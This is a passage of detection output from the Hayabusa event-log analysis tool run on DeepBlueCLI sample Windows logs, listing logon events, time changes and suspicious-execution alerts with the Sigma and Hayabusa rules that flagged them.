.exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:36:53.245 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:38:41.448 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:38:41.448 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x24902 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:38:41.448 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x24936 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:38:41.448 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x24902,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:39:04.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:39:04.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:42:34.667 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:42:34.667 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:42:34.667 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:42:56.213 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x24936,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:45:27.593 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:45:27.593 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:45:58.015 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:46:01.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:46:10.368 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:46:10.368 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:46:10.368 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:47:07.743 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:47:07.743 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x19489 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:47:07.743 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x194bb : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:47:07.743 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x19489,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:49:30.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:49:30.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:54:00.258 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x194bb,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:54:45.140 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:54:45.140 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:54:58.140 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:55:02.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:55:06.370 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:55:06.370 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:55:06.370 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:55:29.463 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:55:29.463 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x19153 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:55:29.463 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1917f : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:55:29.463 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x19153,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:57:31.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:57:31.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 05:49:57.323 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x1917f,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:53:53.609 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:53:53.609 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:54:11.078 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:54:23.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 05:54:29.619 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:54:29.619 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:54:29.619 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:55:00.775 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:55:00.775 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x2b15e : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:55:00.775 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x2b18a : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:55:00.775 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x2b15e,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:56:36.634 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:36.634 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 05:56:36.649 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 05:56:52.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 05:56:52.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 06:05:37.180 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x2b18a,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:07:06.390 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:07:06.390 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:07:31.859 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:07:35.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 06:07:44.487 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:07:44.487 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:07:44.487 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:09:53.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 06:09:53.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 06:13:38.283 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:13:38.283 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x25519 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:13:38.283 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x2553c : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:13:38.283 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x25519,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:35:27.013 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:35:27.013 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:35:27.028 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:50:27.138 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IEUser : Target User: rdavis : IP Address: - : Process: : Target Server: cifs/rdavis-7.sharplogic.local,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:45.841 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: - : Process: C:\Windows\System32\svchost.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:45.841 +09:00,IE8Win7,4624,informational,Logon Type 4 - Batch,User: IEUser : Workstation: IE8WIN7 : IP Address: - : Port: - : LogonID: 0x15f454,rules/hayabusa/default/events/Security/Logons/4624_LogonType-4-Batch.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:45.841 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x15f454,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:45.919 +09:00,IE8Win7,4634,informational,Logoff,User: IEUser : LogonID: 0x15f454,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:46.263 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: - : Process: C:\Windows\System32\lsass.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:46.263 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: - : Port: - : LogonID: 0x15f53a : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:46.263 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: - : Port: - : LogonID: 0x15f546 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:46.263 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x15f53a,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:46.669 +09:00,IE8Win7,4634,informational,Logoff,User: IEUser : LogonID: 0x15f546,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:53:46.669 +09:00,IE8Win7,4634,informational,Logoff,User: IEUser : LogonID: 0x15f53a,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:54:01.732 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x2553c,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:02.343 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:55:02.343 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:55:25.000 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:32.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 06:55:35.625 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:35.625 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0xdad4 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:35.625 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0xdafc : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:35.625 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0xdad4,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:37.450 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:55:37.450 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 06:55:37.450 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:44.840 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: - : Process: C:\Windows\System32\svchost.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:44.840 +09:00,IE8Win7,4624,informational,Logon Type 4 - Batch,User: IEUser : Workstation: IE8WIN7 : IP Address: - : Port: - : LogonID: 0x13dbc,rules/hayabusa/default/events/Security/Logons/4624_LogonType-4-Batch.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:55:44.840 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x13dbc,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 06:57:51.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 06:57:51.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 07:00:55.356 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0xdafc,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:00:55.903 +09:00,IE8Win7,4634,informational,Logoff,User: IEUser : LogonID: 0xdafc,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:00:55.903 +09:00,IE8Win7,4634,informational,Logoff,User: IEUser : LogonID: 0xdad4,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:01:28.840 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:01:28.840 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x4bafc : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:01:28.840 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x4bb14 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:01:28.840 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x4bafc,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:04:16.809 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x4bb14,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:00.218 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 07:05:00.218 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 07:05:21.859 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 07:05:31.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 07:05:32.609 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: 